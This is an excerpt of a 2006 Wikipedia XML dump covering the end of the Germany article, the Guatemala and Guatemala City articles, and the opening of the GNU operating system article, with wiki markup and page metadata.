* [http://www.handbuch-deutschland.de/book_en.html A manual for Germany] &amp;mdash; by the German Government Representative for Migration, Refugees and Integration
* [http://www.destatis.de/e_home.htm Destatis.de] &amp;mdash; Federal Statistical Office Germany (in English)
* [http://www.worldwide-tax.com/germany/indexgermany.asp Germany economy and business indicators] &amp;mdash; Germany key Data on Taxes and Income Tax.
* [http://www.livingingermany.de LivingInGermany.de] &amp;mdash; Resource site for Ex-Pats about living and working in Germany in English.

== References ==
* [[Jean Edward Smith]], ''Germany Beyond The Wall: People, Politics, and Prosperity'', Boston: Little, Brown, &amp; Company, 1969. 
* [[Jean Edward Smith]], ''Lucius D. Clay: An American Life'', New York: Henry, Holt, &amp; Company, 1990. 
* [[Jean Edward Smith]], ''The Defense Of Berlin'', Baltimore: Johns Hopkins Press, 1963. 
* [[Jean Edward Smith]], ''The Papers Of Lucius D. Clay'', 2 Vols., Bloomington, Indiana: Indiana University Press, 1974.

{{States of Germany}}
{{EU countries}}
{{NATO}}
{{Europe}}
{{G8}}

&lt;!--please do not move to G as it will then not be at the top of the category whenever there are any unallocated articles at Gerl... or earlier.--&gt;

[[Category:Europe]]
[[Category:European Union member states]]
[[Category:Germany|Germany]]
[[Category:Republics]]

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[[fiu-vro:S'aksamaa]]</text>
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      <comment>#REDIRECT [[Gambler's_fallacy]]</comment>
      <text xml:space="preserve">#REDIRECT [[Gambler's_fallacy]]</text>
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    <title>Gambler</title>
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      <minor />
      <comment>#REDIRECT [[Gambler's_fallacy]]</comment>
      <text xml:space="preserve">#REDIRECT [[Gambler's_fallacy]]</text>
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    <title>George Melies</title>
    <id>11872</id>
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  <page>
    <title>Guatemala</title>
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        <ip>65.96.169.163</ip>
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      <text xml:space="preserve">:''For the city, see [[Guatemala City]].''
{{Template:Guatemala infobox}}
The '''Republic of Guatemala''' ([[Spanish language|Spanish]]: ''República de Guatemala'', [[International Phonetic Alphabet|IPA]]: {{IPA|[re'puβlika ðe gwate'mala]}}) is a country in [[Central America]], in the south of the continent of [[North America]], situated between the [[Pacific Ocean]] and the [[Caribbean Sea]]. 
It is bordered by [[Mexico]] to the north, [[Belize]] to the northeast, and [[Honduras]] and [[El Salvador]] to the southeast.

== History ==
''Main article: [[History of Guatemala]]''

From the [[3rd century]] [[Anno Domini|BC]] to the [[11th century]] [[Anno Domini|AD]], the lowlands area of the [[el Petén|Petén]] and [[Izabal]] regions of Guatemala were several indigenous states on the central highlands. [[Alta Verapaz]] is known for the fact that, after failing to conquer it by the sword the Spanish entered by the Church, with missionaries who defended the Indians from the cruel treatments of the Spanish army.  Many Pre-Columbian Mayan books were lost due to the policy of the Spaniards during the colonial period of burning them. However, several survive, including: The &quot;[[Popol Vuh]]&quot;, &quot;Anales de los Kakchiqueles&quot;, and &quot;Chilam Balam&quot;, books that were discovered and preserved by Spanish missionary friars. The name &quot;Goathemala&quot;  was given by the Spanish conquistadores to this land, which derives from indigenous words that mean &quot;Land of many trees&quot;.

During the Spanish colonial period, Guatemala was a [[Captaincy General]] (Capitanía General de Goathemala) of Spain. It extended from the Soconusco region - located in what is now the southern part of Mexico (states of [[Chiapas]], [[Tabasco]], [[Quintana Roo]], and [[Yucatan]]) - to [[Costa Rica]]. From a political point of view, this region was not as rich in mineral resources (gold and silver) as Mexico and Peru were. Therefore, it did not have the same importance as those two Viceroyalties had. Its main products were [[sugarcane]], [[cocoa]], and añil (dye obtained from [[Indigo dye|indigo]] plant to dye textiles). 

Tired of being forced to trade exclusively with Spain, the Guatemalan elite declared independence of Spain in [[September 15]], [[1821]]. At that time, the Guatemalan Republic included the [[Soconusco]] region, as well as what are now the countries of [[El Salvador]], [[Honduras]], [[Nicaragua]], and [[Costa Rica]]. Such a big country had a mere 1.5 million habitants, mostly concentrated in the urban centers of the young Republic. 

However, in 1822, the province of El Salvador convinced the other Guatemalan provinces to join the [[Mexican Empire]], an idea created by [[Agustin Iturbide]]. This Empire was short-lived, however, and a year later Guatemala separated itself from Mexico after Iturbide was forced to abdicate and his empire collapsed. As a result of this annexation, Guatemala lost the Soconusco region, which is now part of Mexico. After this, the Guatemalan provinces formed the [[United Provinces of Central America]], also referred to as the Central American Federation (Federacion de Estados Centroamericanos).  The Capital City remained [[Guatemala City]], which to this day continues to be the biggest and most modern urban center in the entire Central American region. 

A politically unstable period followed, aggravated by the collapse of the world market for añil (indigo), main export product from the region to Europe. This resulted in each province separating itself from the Federation, beginning with the province of Costa Rica. This confederation fell apart in [[1838]] to [[1840]], and Guatemala became an independent nation. 

Guatemala has long claimed all or part of the territory of neighboring [[Belize]], formerly part of the Spanish colony. However, [[Great Britain]] occupied this territory, and Belize remains English-speaking to this day. While Guatemala recognized Belize's independence in [[1991]], the territorial dispute between them has not yet been finalized. Negotiations are currently underway under the auspices of the [[Organization of American States]] to conclude the dispute.  For details, see: [http://www.asil.org/insights/insigh59.htm], and the OAS page [http://www.oas.org/main/main.asp?sLang=E&amp;sLink=http://www.oas.org/oaspage/searchform.asp].

Guatemalan history has been marked by the scenario of the Cold War between the [[USA]] and the [[USSR]].  The [[Central Intelligence Agency]], supported by a small group of Guatemalan citizens, orchestrated the overthrow of the [[democratic socialist]] freely-elected Guatemalan government in [[1954]].  This was known as [[Operation PBSUCCESS]] and led to over thirty years of unrest in the nation in which over 100,000 Guatemalans were killed, mostly indigenous Mayan Indians, more than 450 Mayan villages were destroyed, and over one million people became refugees.  This is alleged to be one of the worst [[ethnic cleansing]]s in modern times.  Contributing reasons include US support of every successive, non-democratic government in Guatemala. From the 1950s until the 1990s, the U.S. directly supported Guatemala's army by supplying it with combatant training, weaponry, and money. The U.S. sent the [[Green Berets]] to Guatemala to transform its Army into a &quot;modern counter-insurgency force,&quot; making their army the most powerful and sophisticated in Central America.

Further involvement of the CIA in Guatemala included the training of 5,000 anti-[[Fidel Castro|Castro]] [[Cuba|Cubans]] for what would become the failed [[Bay of Pigs Invasion]].

[[1996]] marked the end of a bloody 36-year war with the guerrilla [[Guatemalan National Revolutionary Unity]] (URNG).  The signing of the peace treaty was orchestrated by the government of democratically elected President [[Alvaro Arzu]].  Since then, the country has enjoyed successive democractic elections, most recently in [[2003]].  However, corruption is still rampant throughout all levels of government. A huge cache of National Police files discovered in December of 2005 revealed methods of public security officials to quell unrest of citizens during the civil war [http://news.bbc.co.uk/2/hi/americas/4499354.stm].

Militarily, the Guatemalan army defeated the URNG. However, due to the brutal methods of the military, the country had become a pariah state internationally. In [[1992]], the [[Nobel Peace Prize]] was awarded to [[Rigoberta Menchu]], an indigenous human rights activist, for her efforts to bring international attention to the government sponsored genocide against the indigenous population.

== Politics ==
''Main article: [[Politics of Guatemala]]''

Guatemala's [[unicameral]] parliament, the ''[[Congress of Guatemala|Congreso de la República]]'' (Congress of the Republic) with 158 seats, is elected every four years, concurrently with the presidential elections. 
The [[President of Guatemala]] acts as the head of state and head of government. 
In his executive tasks, he is assisted by a cabinet of ministers, which he appoints. 

''See also:'' [[Guatemala election, 2003]]

== Departments ==
''Main article: [[Departments of Guatemala]]''

[[Image:GuatemalaProvs.PNG|right|250px|thumb|''The departments of Guatemala'']]
Guatemala is divided into 22 [[department]]s (''departamentos''):

#[[Alta Verapaz]]
#[[Baja Verapaz]]
#[[Chimaltenango department|Chimaltenango]]
#[[Chiquimula department|Chiquimula]]
#[[El Petén]]
#[[El Progreso department|El Progreso]]
#[[El Quiché]]
#[[Escuintla department|Escuintla]]
#[[Guatemala department|Guatemala]]
#[[Huehuetenango department|Huehuetenango]]
#[[Izabal Department|Izabal]]
#[[Jalapa department|Jalapa]]
#[[Jutiapa department|Jutiapa]]
#[[Quetzaltenango department|Quetzaltenango]]
#[[Retalhuleu department|Retalhuleu]]
#[[Sacatepéquez]]
#[[San Marcos department|San Marcos]]
#[[Santa Rosa department, Guatemala|Santa Rosa]]
#[[Sololá department|Sololá]]
#[[Suchitepequez department|Suchitepequez]]
#[[Totonicapán department|Totonicapán]]
#[[Zacapa department|Zacapa]]

== Geography ==
[[Image:Gt-map.jpg|framed|Map of Guatemala]]
''Main article: [[Geography of Guatemala]]''

Except for the south coastal area, and the vast lowlands of the [[Peten]] in the north, Guatemala is  mountainous, with a hot tropical climate &amp;ndash; more temperate in the highlands, and drier in the easternmost departments. 
All of the major cities are situated in the southern half of the country; the major cities are the capital [[Guatemala City]], [[Quetzaltenango]] and [[Escuintla]].  
The largest lake [[Lago de Izabal]] is situated close to the Caribbean coast.
Guatemala's location on the Atlantic Ocean has left it a target for [[hurricane]]s, including [[Hurricane Mitch]] in 1998 and [[Hurricane Stan]] in 2005, in which upwards of 1,500 died.

== Economy ==
''Main article: [[Economy of Guatemala]]''

The [[agricultural sector]] accounts for one quarter of [[Gross Domestic Product|GDP]], two-thirds of exports, and half of the labor force. 
[[Coffee]], [[sugar]], and [[banana]]s are the main products. 
Manufacturing and construction account for one-fifth of GDP. 

The signing of the peace accords in December [[1996]], which ended 36 years of civil war, removed a major obstacle to foreign investment. 
In [[1998]], [[Hurricane Mitch]] caused relatively little damage to Guatemala compared to its neighbors. 

Remaining challenges include beefing up government revenues, negotiating further assistance from international donors, and increasing the efficiency and openness of both government and private financial operations.

In 2005, after massive street protests, Guatemala's congress ratified the [[Dominican Republic-Central America Free Trade Agreement|Dominican Republic - Central American Free Trade Agreement (DR-CAFTA)]] between several Central American nations and the [[United States of America|U.S.]]. However, owing to the extensive damage and economic impacts caused by [[Hurricane Stan]] in October [[2005]], the government is in period of stand-by analyis and acceptance as it contemplates how it will be possible to implement the mechanisms and stipulations of the DR-CAFTA by the due starting date in February of [[2006]].

== Demographics ==
''Main article: [[Demographics of Guatemala]]''

According to the CIA [[World Fact Book]], [[Mestizo]]s (mixed [[Indigenous peoples of the Americas|Amerindian]]-Spanish; locally called Ladino) and Europeans (primarily of Spanish, German, English, Italian, and Scandinavian descent) comprise 60% of the population and Amerindians comprise approximately 40% of the population ([[K'iche]] (Quiché) 9.1%, [[Kaqchikel]] 8.4%, [[Mam]] 7.9%, [[Q'eqchi]] 6.3%, other Mayan 8.6%, indigenous non-Mayan 0.2%, other 0.1%).  

CIA World Fact Book - http://www.cia.gov/cia/publications/factbook/geos/gt.html

Though most of Guatemala's population is rural, [[urbanization]] is accelerating. [[Guatemala City]] (approx. 3 million) is expanding at an amazing rate, and [[Quetzaltenango]] (approx. 150 thousand) is growing rapidly as well.  Generally impoverished farmers move to the outskirts of the city temporarily or permanently seeking higher wages.  These [[barrio]]s are virtually lawless.  In addition, since 2001 the US has been deporting at a high rate.  Many Guatemalans return from Southern [[California]] with advanced skills in [[organized crime]].  [[Crime]] is epidemic in Guatemala City and is a growing concern in [[Xela]] and other smaller cities. 

Smaller towns which are blessed with steady [[tourism]], such as the towns around [[Lago Atitlan]], are faring better.  There is a measure of increasing prosperity and decreasing interference from the army.  It remains to be seen how well these places can adapt to the changing conditions, particularly the influx of foreigners and their vices.   

The predominant religion is [[Roman Catholicism]], into which many indigenous Guatemalans have incorporated traditional forms of worship. [[Protestantism]] and traditional [[Maya]] religions are practiced by an estimated 33% and 1% of the population, respectively.

Although the official language is [[Spanish language|Spanish]], it is not universally understood among the indigenous population; 23 distinct [[Mayan language]]s are still spoken, especially in rural areas.

The Peace Accords signed in December [[1996]] provide for the translation of some official documents and voting materials into several indigenous languages (see summary of main substantive accords).

==Religion==
Roman Catholicism was by far the strongest religion during the colonisation times. However, Protestant denominations have increased markedly, especially under the brutal dictatorship of evangelical pastor General Efrain Rios Montt. Around 1 in 3 Guatemalans are Protestant chiefly [[Evangelical]], and [[Pentecostal]]. The remainder are Roman Catholic. 

Practice of traditional Mayan religions is increasing as a result of the cultural protections established in the peace accords. The government has instituted a policy of providing alters at every Mayan ruin found in the country so that traditional ceremonies may be performed there.

The [[Jewish]] population hovers around the 1,000 member mark.

The current Roman-Catholic leader of Guatemala is Mons. Álvaro Leonel Ramazzini Imeri.

== Education ==
The government runs a number of public elementary and secondary-level schools.  These schools are theoretically tuition-free. However, the cost of uniforms, books, supplies, and transportation limits their availability to the lower classes. Also, many families of the middle and upper-class send their children to private schools throughout the country.  The country also has one public university ([[Universidad de San Carlos de Guatemala]]), and 7 private ones (see [[List of universities in Guatemala]]).

== Culture ==
''Main article: [[Culture of Guatemala]]''

Influences of the Maya and the Spanish colonists are strong throughout Guatemala.  In the cities, European influence (especially [[German culture|German]]) is well evidenced. Much of the [[clothing]] and [[food]] is still made in the traditional Mayan way in small villages in the highlands, and many Mayan ruins can be found. Along the small [[Caribbean]] coast, there are influences of [[Africa]]n culture in the religious ceremonial songs, dances and food.  

''See also:'' [[Music of Guatemala]]

== Miscellaneous topics ==
{{sisterlinks|Guatemala}}

*[[Communications in Guatemala]]
*[[Foreign relations of Guatemala]]
*[[List of national parks of Guatemala]]
*[[List of places in Guatemala]]
*[[List of Guatemalans|List of famous Guatemalans]]
*[[Military of Guatemala]]
*[[Plan de Sánchez massacre]]
*[[Transportation in Guatemala]]

== External links ==
*[http://www.fco.gov.uk/servlet/Front?pagename=OpenMarket/Xcelerate/ShowPage&amp;c=Page&amp;cid=1007029394365&amp;a=KCountryProfile&amp;aid=1020262398293 UK Foreign Office Country Profile for Guatemala]
*[http://lakjer.dk/mikkel/spanish.shtml Spanish Schools in Guatemala]
*http://www.casaxelaju.com Volunteer work, internship and Spanish programs
*[http://www.congreso.gob.gt/ Congreso de la República] &amp;ndash; Congress of the Republic of Guatemala (in Spanish)
*[http://www.oj.gob.gt Organismo Judicial de Guatemala] Judicial Branch of Guatemala (in Spanish)
*[http://www.guatemala.gob.gt/ Gobierno de Guatemala] Guatemalan Government Page(in Spanish)
*[http://www.insivumeh.gob.gt/ Instituto de Sismologia, Vulcanologia, Metereologia E Hidrologia] Guatemala's Institute Of Seismology, Vulcanology, Metereology And Hydrology
*[http://www.inguat.gob.gt Guatemala Institute of Tourism].
*[http://earthfromspace.photoglobe.info/spc_guatemala_yucatan.html Guatemala from Space]
*[http://www.mayaspirit.com.gt/ Maya Spirit] &amp;ndash; (in Spanish)
*[http://www.roseeducation.org The Rose Education Foundation]
*[http://web.amnesty.org/report2004/gtm-summary-eng Amnesty International Annual Report 2004 &amp;ndash; Guatemala]
*[http://www.photoglobe.info/bl_guatemala/ PhotoGlobe - Guatemala] - georeferenced photos of Guatemala
*[http://www.nisgua.org] Network in Solidarity with the People of Guatemala
*[http://www.guatemalabelize.com ] News and Project information on Guatemalan-Belizean Confidence-building in language activities, photos, news articles and official country links.
*[http://www.confidence2.org ] FCO News and Reports on UK Confidence-Building Project information for Guatemala and Belize.  

{{Central_America}}

[[Category:Central American countries]]
[[Category:Guatemala| ]]

[[ar:غواتيمالا]]
[[an:Guatemala]]
[[bg:Гватемала]]
[[zh-min-nan:Guatemala]]
[[bs:Gvatemala]]
[[ca:Guatemala]]
[[cs:Guatemala]]
[[da:Guatemala]]
[[de:Guatemala]]
[[et:Guatemala]]
[[es:Guatemala]]
[[eo:Gvatemalo]]
[[eu:Guatemala]]
[[fa:گواتمالا]]
[[fr:Guatemala]]
[[gl:Guatemala]]
[[ko:과테말라]]
[[ht:Gwatemala]]
[[hr:Gvatemala]]
[[io:Guatemala]]
[[id:Guatemala]]
[[is:Gvatemala]]
[[it:Guatemala]]
[[he:גוואטמלה]]
[[lv:Gvatemala]]
[[lt:Gvatemala]]
[[hu:Guatemala]]
[[ms:Guatemala]]
[[nah:Cuauhtemallan]]
[[na:Guatemala]]
[[nl:Guatemala]]
[[nds:Guatemala]]
[[ja:グアテマラ]]
[[no:Guatemala]]
[[nn:Guatemala]]
[[oc:Guatemala]]
[[pl:Gwatemala]]
[[pt:Guatemala]]
[[ro:Guatemala]]
[[ru:Гватемала]]
[[sq:Guatemala]]
[[simple:Guatemala]]
[[sk:Guatemala]]
[[sl:Gvatemala]]
[[fi:Guatemala]]
[[sv:Guatemala]]
[[tl:Guatemala]]
[[th:สาธารณรัฐกัวเตมาลา]]
[[tr:Guatemala]]
[[uk:Гватемала]]
[[zh:危地马拉]]</text>
    </revision>
  </page>
  <page>
    <title>Guatemala City</title>
    <id>11874</id>
    <revision>
      <id>40603935</id>
      <timestamp>2006-02-21T19:42:36Z</timestamp>
      <contributor>
        <ip>216.230.138.43</ip>
      </contributor>
      <text xml:space="preserve">{| align=right
|[[Image:Guatemala_National_Palace_of_Culture.jpg|thumb|250px|National Palace of Culture]]
|-
|[[Image:GuatCity2.JPG|thumb|right|250px|National Post Office Building]]
|-
|&lt;!-- Unsourced image removed: [[Image:Southernguatemalacity.JPG|thumb|right|250px|View of quickly developing residential area in southern Guatemala City.]] --&gt;
|-
|[[Image:teatronacionalguatemala.JPG|thumb|right|250px|Miguel Angel Asturias Cultural Center, also referred to as the National Theatre, located in Guatemala City's Civic Centre.]]
|-
|[[Image:IMGP0490a.JPG|thumb|right|250px|Guatemala City suffers from polution problems. Some say it is more poluted than Mexico City.]]
|}

'''Guatemala City''' (in full, '''La Nueva Guatemala de la Asunci&amp;oacute;n'''; locally known as '''Guatemala''' or, informally, '''Guate''') is the capital and largest city of [[Guatemala]] and in [[Central America]].

Population estimates for Guatemala City range from 2 million to over 3.5 million people.  The city is located at {{coor dm|14|38|N|90|33|W|}}, in a mountain valley in the south central part of the country.

== History==
Within the confines of modern Guatemala City is the ancient [[Maya civilization|Maya]] city of [[Kaminaljuyu]]. Kaminaljuyu dates back some 2,000 years and is one of America's greatest archaelogical sites dating from this period.  The center of Kaminaljuyu was located a short distance from the older part of Guatemala City. However, in the late [[20th century]] the city grew around the ruins (and in some cases over some of the outlying ruins before they were protected).  Most of hundreds of temple mounds have been built over with freeways, shopping centers, commerce, luxury hotels and residential areas. The central ceremonial center of Kaminaljuyu was protected by the Guatemalan government and is now a park within the city. 

In Spanish colonial times this was a small town with a monastery called '''El Carmen''', founded in [[1620]].   The capital of Spanish colonial [[Central America]] was moved here after an earthquake destroyed the old capital [[Antigua Guatemala]] in [[1775]], and resulted in a great expansion of the city.
(including some fine collections of [[Pre-Columbian]] art) and continually offers more and more cultural activities. There are 10 universities, Universidad Mariano Gálvez, Universidad Panamericana, Universidad Mesoamericana, Universidad Rafael Landivar, [[Universidad Francisco Marroquin]], Universidad del Valle, Universidad del Istmo, [[Galileo University|Universidad Galileo]], Universidad Rural and [[Universidad de San Carlos]], the third oldest university in the New World.

Guatemala City does not have an efficient public transportation service despite the many proposals and projects for the construction of a mass transportation system. Although the construction of freeways and underpasses by the municipal government, as well as the establishment of the Department of Metropolitan Transit Police PMT, has helped traffic flow in the city, the Guatemalan Metropolitan Area faces a growing transportation problem. 

Guatemala City is served by [[La Aurora International Airport]].

Among the most popular areas for Pop Culture and Shopping as well as entertainment we find Majadas, 4º Norte and Pradera Concepción (the biggest mall in Central America).

== Features == 

Guatemala City is the economic, governmental, and cultural capital of the Republic, and functions as the main port of entry into the country with the country's largest international airport, La Aurora.  In addition to a wide variety of restaurants, hotels and shops, the city has a wide variety of art galleries and museums

[[ca:Ciutat de Guatemala]]
[[da:Guatemala City]]
[[de:Guatemala-Stadt]]
[[es:Ciudad Guatemala]]
[[eo:Gvatemalurbo]]
[[fa:شهر گواتمالا]]
[[fr:Guatemala (ville)]]
[[ko:과테말라 시]]
[[io:Guatemala-Urbo]]
[[it:Città del Guatemala]]
[[he:גואטמלה סיטי]]
[[lt:Gvatemala (miestas)]]
[[nl:Guatemala-stad]]
[[ja:グアテマラシティ]]
[[pl:Gwatemala (miasto)]]
[[pt:Cidade da Guatemala]]
[[sl:Ciudad Guatemala]]
[[fi:Guatemala (kaupunki)]]
[[sv:Guatemala City]]
[[zh:瓜地馬拉市]]</text>
    </revision>
  </page>
  <page>
    <title>GNU</title>
    <id>11875</id>
    <revision>
      <id>41214625</id>
      <timestamp>2006-02-25T21:05:21Z</timestamp>
      <contributor>
        <username>Ashawley</username>
        <id>617006</id>
      </contributor>
      <comment>revert edit by [[Optichan]]</comment>
      <text xml:space="preserve">{{dablink|For the African animal '''gnu''', see [[wildebeest]].}}
{{Infobox_OS
|name = GNU
|logo = [[Image:Heckert GNU.png|36px]]
|screenshot = [[Image:Gnu-initial-screenshot.png|285px|Screenshot of a GNU-based OS]]
|caption = Screenshot from a GNU-based OS
|developer = [[GNU Project|The GNU Project]]
|family = [[Unix-like]]
|source_model = [[Free software]]
|kernel_type = [[Microkernel]]
|license = Mostly [[GPL]]
|working_state = Functional, but unfinished
|website = [http://www.gnu.org/home.html www.gnu.org]
}}
'''GNU''' ([[IPA|pronounced]] {{IPA|/gnu/}}) is a [[free software]] [[operating system]].  Its name is a [[recursive acronym]] for &quot;'''G'''NU's '''N'''ot [[Unix|'''U'''nix]]&quot;, which was chosen because its design is [[Unix-like]], but it contains no actual [[Unix|UNIX]] code.   The GNU system, combined with a third-party [[kernel (computer science)|kernel]] called [[Linux kernel|Linux]], is one of the most widely used operating systems in the world known as &quot;GNU/Linux&quot;.  The plan for the GNU operating system was announced in September 1983 by [[Richard Stallman]] and software development work began in January 1984.  The project to develop GNU is known as the ''[[GNU Project]]'', and programs released under the auspices of the GNU Project are called ''[[List of GNU packages|GNU packages]]'' or ''GNU programs''.

==History==
The GNU project was announced publicly on [[September 27]], [[1983]], on the [[net.unix-wizards]] [http://groups.google.com/group/net.unix-wizards/browse_thread/thread/f2dc1f44f33bf6ed] and [[net.usoft]] [[newsgroup]]s.  Software development began on [[January 5]], [[1984]], when Stallman quit his job at [[Massachusetts Institute of Technology]] so that they could not claim ownership or interfere with distributing GNU as [[free software]].  The correct pronunciation of GNU is ''g'noo'' ([[International Phonetic Alphabet for English|IPA]]: {{IPA|/gnu/}}), with a hard &quot;g&quot;, to distinguish it from the word ''new''. According to Stallman, the name was inspired by various plays on words, including the song [[The Gnu]].

The goal was to bring a wholly free software operating system into existence.  Stallman wanted computer users to be free, as most were in the 1960s and 1970s; free to study the source code of the software they use, free to modify the behaviour of the software, and free to publish their modified versions of the software.  This philosophy was published in March 1985 as [[The GNU Manifesto]].

The majority of the software needed had to be written from scratch, but when compatible free software components already existed, they were used.  Two examples were the [[TeX]] typesetting system, and the [[X Window System]]. Most of GNU has been written by volunteers; some in their spare time, some paid by other companies. In October 1985, Stallman set up the [[Free Software Foundation]] (FSF). In the mid- and late-80s, FSF hired software developers to write the software needed for GNU. At its peak it had 15 people on its staff. FSF also holds the copyrights for some GNU software packages. Most GNU packages are licensed under the [[GNU General Public License]] (GNU GPL), while a few use the [[GNU Lesser General Public License]] (GNU LGPL), and a still smaller amount use other [[free software licenses]].

[[Image:Baby GNU.png|left|Baby GNU]]
So that it would be convenient for people to switch to GNU, it was decided that GNU would be mostly compatible with [[Unix]], which was a popular [[proprietary software|proprietary]] operating system at the time.  The design of Unix had proven to be solid, and it was modular, so it could be reimplemented piece by piece.

As GNU gained prominence, interested businesses began contributing to development or selling GNU software and technical support. The most prominent and successful of these was [[Cygnus Solutions]], now part of [[Red Hat]].

==Licensing==
In order to ensure that GNU software remains free, the project released the first version of the [[GNU General Public License]] (GNU GPL) in [[1989]]. This license is now used by most GNU programs, as well as a large number of free software programs that are not part of the GNU project; it is the most commonly used [[free software license]] in the world. It gives all recipients of a program the right to run, copy, modify and distribute it, while forbidding them from imposing further restrictions on any copies they distribute. This idea is referred to as [[copyleft]].

==Design and implementation==
The initial plan for GNU was to be mostly Unix-compatible, while adding enhancements where they were useful.  The design of the kernel was GNU's largest departure from &quot;traditional&quot; Unix.  GNU's kernel was to be a multi-server micro-kernel.

The [[GNU Hurd]] runs on a [[microkernel]] (currently [[Mach kernel|Mach]]) and consists of a set of programs called servers that offers the same functionality as the traditional [[Unix kernel]] (or [[Linux]]).

GNU (using Hurd) can be tried using a [[live CD]]. (See [[#External links|External links]]).

By [[1990]], the GNU system had an extensible [[text editor]] ([[Emacs]]), a very successful optimizing [[compiler]] ([[GNU Compiler Collection|GCC]]), and most of the core libraries and utilities of a standard Unix distribution. The main component still missing was the [[kernel (computers)|kernel]]. In the GNU Manifesto, Stallman had mentioned that &quot;an initial kernel exists but many more features are needed to emulate Unix.&quot;  He was referring to [[TRIX]], a remote procedure call kernel developed at MIT, whose authors had decided to distribute for free, and was compatible with [[Version 7 Unix]]. In December [[1986]], work had started on modifying this kernel. However, the developers eventually decided it was unusable as a starting point, primarily because it only ran on &quot;an obscure, expensive 68000 box&quot; and would therefore have to be [[porting|ported]] to other architectures before it could be used. By [[1988]], the [[Mach kernel|Mach]] message-passing kernel being developed at [[Carnegie Mellon University]] was being considered instead, although its release as free software was delayed till [[1990]] while its developers worked to remove code owned by [[AT&amp;T]].

Since the Mach microkernel, by design, provided just the low-level kernel functionality, the GNU Project had to develop the higher-level parts of the kernel, as a collection of user programs.  Initially, this collection was to be called Alix, but developer [[Michael Bushnell]] later preferred the name [[GNU Hurd|Hurd]], so the Alix name was moved to a subsystem and eventually dropped completely. Eventually, development of the Hurd stalled due to technical reasons and personality conflicts.

GNU/Hurd refers to the GNU OS distribution that uses GNU Hurd as its core. GNU Hurd is the set of programs or services running on top of a microkernel (GNU currently uses the [[GNU Mach]] microkernel, but efforts to port Hurd to the [[L4 microkernel family|L4 microkernel]] are currently ongoing). The &quot;GNU&quot; in GNU Hurd indicates that it is a part of the [[GNU project]], while &quot;GNU/Hurd&quot; distinguishes it as one of the two currently available GNU systems--that is, Linux-based GNU systems (or &quot;GNU/Linux&quot;) as opposed to Hurd-based GNU systems (or &quot;GNU/Hurd&quot;). Just &quot;GNU&quot; refers to GNU/Hurd or a Hurd-based GNU system. &quot;GNU/Linux&quot; is pronounced &quot;GNU-slash-Linux&quot;, or more often, just &quot;GNU Linux&quot;. However, the FSF contests that &quot;GNU Linux&quot;, by the rules of the English language, refers to a distribution of the kernel Linux by the GNU project or GNU project's version of it; &quot;GNU/Linux&quot;, they say, makes it clear that a person is referring to the combination of the kernel Linux and the GNU userland binaries, forming a complete GNU OS. [[Linus Torvalds]], original author of the kernel, does not approve of the term &quot;GNU/Linux&quot;; he prefers &quot;GNU Linux&quot; if the GNU project &quot;wants its own distribution.&quot;

In [[1991]], [[Linus Torvalds]] wrote the Unix-compatible [[Linux]] kernel.  Although it was not originally free software, Torvalds changed the license to the GNU GPL in [[1992]]. Linux was further developed by various programmers over the [[Internet]]. In 1992, it was combined with the GNU system, resulting in a fully functional free [[operating system]]. The GNU system is most commonly encountered in this form, usually referred to as a &quot;[[GNU/Linux]] system&quot; or a &quot;[[Linux distribution]]&quot;. [[As of 2005]], [[GNU Hurd|Hurd]] is in slow development, and is now the official kernel of the GNU system. There is also a project working on porting the GNU system to the kernels of [[FreeBSD]] and [[NetBSD]].

On the 20th anniversary of the GNU Project ([[January 5]] [[2004]]), the [[Irish Free Software Organisation]] was founded to promote free software in [[Ireland]].

==GNU software==
Prominent components of the GNU system include the [[GNU Compiler Collection]] (GCC), the [[GNU C Library]] (glibc), the [[GNU Emacs]] [[text editor]], and the [[GNOME]] graphical desktop.

Many GNU programs have been ported to other operating systems and are often installed on [[proprietary software|proprietary]] [[Unix|UNIX]] systems to replace the proprietary utilities.  As well as giving users freedom, many of these GNU programs have been proven to be more reliable than their proprietary Unix counterparts [http://ftp.cs.wisc.edu/pub/paradyn/technical_papers/fuzz-revisited.ps].  The reputation of GNU software is especially good for its software development tools, which are sometimes collectively called the ''GNU toolset''.  Making up but a small fraction of the GNU system as a whole, some people consider the toolset to be of superior quality to many of the equivalent Unix versions, even if the GNU versions are not totally [[POSIX]] compliant.  With the popularity of GNU/Linux systems, many developers install the GNU toolset on other systems for compatibility or to capture uniform behavior across platforms.  Many GNU programs have also been ported to [[Microsoft Windows]], [[Mac OS X]], and various other proprietary platforms, however, the motive for developing these programs was to contribute to replacing those systems with free software, not to enhance them.

A list of packages that are well known in the free software and Unix communities includes:

*[[System software]]
**[[GNU_bison|Bison]] &amp;ndash; [[parser generator]] intended to replace [[yacc]]
**[[Bash]] &amp;ndash; [[Unix shell|command shell]]
**[[Binary File Descriptor|BFD]] &amp;ndash; object file [[Library (computer science)|library]]
**[[Classpath]] &amp;ndash; libraries for [[Java programming language|Java]]
**[[Coreutils]] &amp;ndash; basic Unix utilities such as [[cat (Unix)|cat]], [[ls]], and [[rm (Unix)|rm]]
**[[Emacs]] &amp;ndash; extensible, self-documenting [[text editor]]
**[[glibc]] &amp;ndash; [[C standard library|Standard]] [[POSIX]] [[C programming language|C]] [[library (computer science)|library]], plus additional functionality
**[[gzip]] &amp;ndash; a library and program for [[data compression]]
**The [[GNU toolchain]] for software development:
***[[GNU Binutils]] &amp;ndash; [[assembler]], [[linker]], and related tools
***[[GNU build system]] &amp;ndash; [[Automake]], [[Autoconf]], [[Libtool]]
***[[GNU Compiler Collection|GCC]] &amp;ndash; optimizing [[compiler]] for many [[programming language]]s, including [[C programming language|C]], [[C++]], [[Fortran]], [[Ada programming language|Ada]], and [[Java programming language|Java]]
***[[GNU Debugger|GDB]] &amp;ndash; [[debugger]]
**[[GNU MDK]] &amp;ndash; a development kit for programming in [[MIX]]
**[[GNU Screen|Screen]] &amp;ndash; a terminal multiplexer
**[[Texinfo]] &amp;ndash; documentation system for producing online and printed manuals
**[[wget|GNU wget]] &amp;ndash; advanced file retrieval from networks and the Internet
**[[GNUnet]] &amp;ndash; decentralized, peer-to-peer communication network designed to be resistant to censorship
**[[DotGNU]] &amp;ndash; replacement for [[.NET Framework|.NET]]
**[[GNU Hurd]] &amp;ndash; a [[microkernel]]-based set of servers that perform the same function as a Unix kernel
*[[Application software]]
**[[GIMP]] &amp;ndash; GNU Image Manipulation Program
**[[GLPK]] &amp;ndash; package intended to solve [[linear programming]] (LP), [[mixed integer programming]] (MIP), and other related problems.
**[[Gnash]] &amp;ndash; a player for movies in [[Shockwave Flash]] format. Both stand-alone and as a plugin for [[Mozilla Firefox]].
